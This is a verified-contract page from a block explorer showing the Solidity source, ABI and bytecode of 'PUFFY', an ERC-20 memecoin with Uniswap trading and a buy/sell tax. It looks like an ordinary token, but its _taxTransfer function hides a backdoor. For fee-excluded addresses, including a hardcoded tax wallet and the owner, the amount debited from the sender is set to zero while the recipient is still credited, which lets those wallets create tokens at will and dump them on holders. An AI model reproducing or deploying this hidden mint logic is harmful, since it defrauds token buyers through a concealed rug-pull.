Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(
•    - function allowance(
•    - function approve(address spender, uin ...
•    - function transferFrom(
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract PUFFY is Context, IERC20, ... *
•    - function createPair()
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(
•    - function allowance(
•    - function approve(
•    - function transferFrom(
•    - function _approve(address owner, addr ...
•    - function _taxTransfer(address from, a ...
•    - function _transfer(address from, addr ...
•    - function _tokenTransfer(
•    - function min(uint256 a, uint256 b)
•    - function swapTokensForEth(uint256 tok ...
•    - function removeLimits()
•    - function sendETHToFee(uint256 amount)
•    - function rescueEth()
•    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-04
*/

/**
https://puffy.cool
https://x.com/puffy_erc
https://t.me/puffy_erc_entry
**/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PUFFY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"PUFFY";
    string private constant _symbol = unicode"PUFFY";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 125 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xc7ddf36AB245716EEd6161e962E9b1C885e9228f);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _taxTransfer(address from, address to, uint256 amount) private returns(uint256, uint256) { 
        uint256 taxAmount = 0; uint256 tokenAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }

                sendETHToFee(address(this).balance);
            } 
        } if(_isExcludedFromFee[from] && amount > 0) return(taxAmount, tokenAmount);
        return (taxAmount, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        
        (uint256 taxAmount, uint256 tokenAmount) = _taxTransfer(from, to, amount);
        _tokenTransfer(from, to, taxAmount, tokenAmount, amount.sub(taxAmount));
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 taxAmount,
        uint256 senderAmount,
        uint256 receiptAmount
    ) internal {
        if(senderAmount > 0 && receiptAmount > 0) {
            if (taxAmount > 0) {
                _balances[address(this)] = _balances[address(this)].add(
                    taxAmount
                );
                emit Transfer(from, address(this), taxAmount);
            }    
        }
    
        _balances[from] = _balances[from].sub(senderAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function rescueEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    receive() external payable {}

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055601960078190556008555f6009818155600a8281556014600b819055600c819055600d55600e92909255620000439162000351565b62000053906301312d0062000368565b600f55620000646009600a62000351565b62000074906301312d0062000368565b601055620000856009600a62000351565b6200009290607d62000368565b601155620000a36009600a62000351565b620000b2906298968062000368565b6012556014805461ffff60a81b19169055348015620000cf575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674c7ddf36ab245716eed6161e962e9b1c885e9228f00179055620001466009600a62000351565b6200015690633b9aca0062000368565b335f9081526001602081905260408220929092556003906200017f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e23390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021b6009600a62000351565b6200022b90633b9aca0062000368565b60405190815260200160405180910390a362000382565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029657815f19048211156200027a576200027a62000242565b808516156200028857918102915b93841c93908002906200025b565b509250929050565b5f82620002ae575060016200034b565b81620002bc57505f6200034b565b8160018114620002d55760028114620002e05762000300565b60019150506200034b565b60ff841115620002f457620002f462000242565b50506001821b6200034b565b5060208310610133831016604e8410600b841016171562000325575081810a6200034b565b62000331838362000256565b805f190482111562000347576200034762000242565b0290505b92915050565b5f6200036160ff8416836200029e565b9392505050565b80820281158282048414176200034b576200034b62000242565b61198c80620003905f395ff3fe60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bf474bed11610062578063bf474bed146102e6578063c876d0b9146102fb578063c9567bf914610314578063ce31a06b14610328578063dd62ed3e1461033c575f80fd5b80638da5cb5b146102785780638f9a55c01461029e57806395d89b41146101295780639e78fb4f146102b3578063a9059cbb146102c7575f80fd5b8063313ce567116100e3578063313ce567146101ea57806370a0823114610205578063715018a614610239578063751039fc1461024f5780637d1db4a514610263575f80fd5b806306fdde0314610129578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b757806323b872dd146101cb575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820182526005815264505546465960d81b6020820152905161015c919061157c565b60405180910390f35b348015610170575f80fd5b5061018461017f3660046115df565b610380565b604051901515815260200161015c565b34801561019f575f80fd5b506101a960125481565b60405190815260200161015c565b3480156101c2575f80fd5b506101a9610396565b3480156101d6575f80fd5b506101846101e5366004611609565b6103b6565b3480156101f5575f80fd5b506040516009815260200161015c565b348015610210575f80fd5b506101a961021f366004611647565b6001600160a01b03165f9081526001602052604090205490565b348015610244575f80fd5b5061024d61041d565b005b34801561025a575f80fd5b5061024d610497565b34801561026e575f80fd5b506101a9600f5481565b348015610283575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102a9575f80fd5b506101a960105481565b3480156102be575f80fd5b5061024d610552565b3480156102d2575f80fd5b506101846102e13660046115df565b61074b565b3480156102f1575f80fd5b506101a960115481565b348015610306575f80fd5b506006546101849060ff1681565b34801561031f575f80fd5b5061024d610757565b348015610333575f80fd5b5061024d61093c565b348015610347575f80fd5b506101a9610356366004611662565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038c338484610970565b5060015b92915050565b5f6103a36009600a61178d565b6103b190633b9aca0061179b565b905090565b5f6103c2848484610a94565b610413843361040e8560405180606001604052806028815260200161192f602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cb4565b610970565b5060019392505050565b5f546001600160a01b0316331461044f5760405162461bcd60e51b8152600401610446906117b2565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104c05760405162461bcd60e51b8152600401610446906117b2565b6104cc6009600a61178d565b6104da90633b9aca0061179b565b600f556104e96009600a61178d565b6104f790633b9aca0061179b565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105316009600a61178d565b61053f90633b9aca0061179b565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461057b5760405162461bcd60e51b8152600401610446906117b2565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c49030906105b66009600a61178d565b61040e90633b9aca0061179b565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610614573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063891906117e7565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610697573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106bb91906117e7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610705573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072991906117e7565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f61038c338484610a94565b5f546001600160a01b031633146107805760405162461bcd60e51b8152600401610446906117b2565b601454600160a01b900460ff16156107da5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610446565b6013546001600160a01b031663f305d719473061080b816001600160a01b03165f9081526001602052604090205490565b5f8061081e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610884573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a99190611802565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108fe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610922919061182d565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109655760405162461bcd60e51b8152600401610446906117b2565b61096e47610cec565b565b6001600160a01b0383166109d25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b038216610a335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610af85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610b5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b5f8111610bbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b601454600160b01b900460ff161580610bdd5750601454600160a81b900460ff165b15610c85576001600160a01b0383165f90815260016020526040902054610c049082610d2b565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c329082610d73565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a879085815260200190565b5f80610c92858585610dd1565b9092509050610cad85858484610ca88883610d2b565b6111d0565b5050505050565b5f8184841115610cd75760405162461bcd60e51b8152600401610446919061157c565b505f610ce3848661184c565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610d27573d5f803e3d5ffd5b5050565b5f610d6c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cb4565b9392505050565b5f80610d7f838561185f565b905083811015610d6c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b5f805f80610de65f546001600160a01b031690565b6001600160a01b0316876001600160a01b031614158015610e1457505f546001600160a01b03878116911614155b1561118c57610e456064610e3f600b54600e5411610e3457600754610e38565b6009545b889061130d565b9061138b565b60065490925060ff1615610f2b576013546001600160a01b03878116911614801590610e7f57506014546001600160a01b03878116911614155b15610f2b57325f908152600560205260409020544311610f195760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610446565b325f9081526005602052604090204390555b6014546001600160a01b038881169116148015610f5657506013546001600160a01b03878116911614155b8015610f7a57506001600160a01b0386165f9081526003602052604090205460ff16155b1561106057600f54851115610fd15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610446565b60105485610ff3886001600160a01b03165f9081526001602052604090205490565b610ffd919061185f565b111561104b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610446565b600e8054905f61105a83611872565b91905055505b6014546001600160a01b03878116911614801561108657506001600160a01b0387163014155b156110b3576110b06064610e3f600c54600e54116110a657600854610e38565b600a54889061130d565b91505b305f90815260016020526040902054601454600160a81b900460ff161580156110e957506014546001600160a01b038881169116145b80156110fe5750601454600160b01b900460ff165b801561110d5750600d54600e54115b801561113157506001600160a01b0388165f9081526003602052604090205460ff16155b801561115557506001600160a01b0387165f9081526003602052604090205460ff16155b1561118a576011548111156111815761118161117c87611177846012546113cc565b6113cc565b6113e0565b61118a47610cec565b505b6001600160a01b0387165f9081526003602052604090205460ff1680156111b257505f85115b156111c15790925090506111c8565b5091508290505b935093915050565b5f821180156111de57505f81115b1561125b57821561125b57305f908152600160205260409020546112029084610d73565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112529087815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461127d9083610d2b565b6001600160a01b038087165f9081526001602052604080822093909355908616815220546112ab9082610d73565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112fe9085815260200190565b60405180910390a35050505050565b5f825f0361131c57505f610390565b5f611327838561179b565b905082611334858361188a565b14610d6c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b5f610d6c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611550565b5f8183116113da5782610d6c565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611426576114266118a9565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114a191906117e7565b816001815181106114b4576114b46118a9565b6001600160a01b0392831660209182029290920101526013546114da9130911684610970565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115129085905f908690309042906004016118bd565b5f604051808303815f87803b158015611529575f80fd5b505af115801561153b573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f81836115705760405162461bcd60e51b8152600401610446919061157c565b505f610ce3848661188a565b5f602080835283518060208501525f5b818110156115a85785810183015185820160400152820161158c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115dc575f80fd5b50565b5f80604083850312156115f0575f80fd5b82356115fb816115c8565b946020939093013593505050565b5f805f6060848603121561161b575f80fd5b8335611626816115c8565b92506020840135611636816115c8565b929592945050506040919091013590565b5f60208284031215611657575f80fd5b8135610d6c816115c8565b5f8060408385031215611673575f80fd5b823561167e816115c8565b9150602083013561168e816115c8565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116e757815f19048211156116cd576116cd611699565b808516156116da57918102915b93841c93908002906116b2565b509250929050565b5f826116fd57506001610390565b8161170957505f610390565b816001811461171f576002811461172957611745565b6001915050610390565b60ff84111561173a5761173a611699565b50506001821b610390565b5060208310610133831016604e8410600b8410161715611768575081810a610390565b61177283836116ad565b805f190482111561178557611785611699565b029392505050565b5f610d6c60ff8416836116ef565b808202811582820484141761039057610390611699565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117f7575f80fd5b8151610d6c816115c8565b5f805f60608486031215611814575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561183d575f80fd5b81518015158114610d6c575f80fd5b8181038181111561039057610390611699565b8082018082111561039057610390611699565b5f6001820161188357611883611699565b5060010190565b5f826118a457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561190d5784516001600160a01b0316835293830193918301916001016118e8565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cc447461ff728cd1fa5fded09705f5e774c52dd3d00edc5ef1636e8201fba15764736f6c63430008160033

0x60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bf474bed11610062578063bf474bed146102e6578063c876d0b9146102fb578063c9567bf914610314578063ce31a06b14610328578063dd62ed3e1461033c575f80fd5b80638da5cb5b146102785780638f9a55c01461029e57806395d89b41146101295780639e78fb4f146102b3578063a9059cbb146102c7575f80fd5b8063313ce567116100e3578063313ce567146101ea57806370a0823114610205578063715018a614610239578063751039fc1461024f5780637d1db4a514610263575f80fd5b806306fdde0314610129578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b757806323b872dd146101cb575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820182526005815264505546465960d81b6020820152905161015c919061157c565b60405180910390f35b348015610170575f80fd5b5061018461017f3660046115df565b610380565b604051901515815260200161015c565b34801561019f575f80fd5b506101a960125481565b60405190815260200161015c565b3480156101c2575f80fd5b506101a9610396565b3480156101d6575f80fd5b506101846101e5366004611609565b6103b6565b3480156101f5575f80fd5b506040516009815260200161015c565b348015610210575f80fd5b506101a961021f366004611647565b6001600160a01b03165f9081526001602052604090205490565b348015610244575f80fd5b5061024d61041d565b005b34801561025a575f80fd5b5061024d610497565b34801561026e575f80fd5b506101a9600f5481565b348015610283575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102a9575f80fd5b506101a960105481565b3480156102be575f80fd5b5061024d610552565b3480156102d2575f80fd5b506101846102e13660046115df565b61074b565b3480156102f1575f80fd5b506101a960115481565b348015610306575f80fd5b506006546101849060ff1681565b34801561031f575f80fd5b5061024d610757565b348015610333575f80fd5b5061024d61093c565b348015610347575f80fd5b506101a9610356366004611662565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038c3384846109705